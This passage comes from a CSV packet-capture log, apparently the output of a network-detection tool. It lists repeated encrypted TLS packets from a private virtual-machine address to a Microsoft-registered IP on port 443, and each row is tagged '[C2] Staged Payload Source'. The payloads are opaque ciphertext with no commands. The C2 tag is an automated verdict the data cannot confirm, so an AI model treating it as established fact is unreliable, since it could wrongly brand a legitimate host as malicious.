\"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:21.567614,10,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb7060000800628bdc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E.........(...z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46854, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10429, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:22.770657,11,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb7070000800628bcc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E.........(...z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46855, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10428, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:23.926862,12,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70840008006e94ec0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....N..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59726, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:23.973748,13,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70940008006e8b9c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E....\t@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59577, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:26.386448,14,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70a40008006e8b8c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E....\n@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59576, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:28.800596,15,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70b40008006e94bc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....K..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59723, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:31.207642,16,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 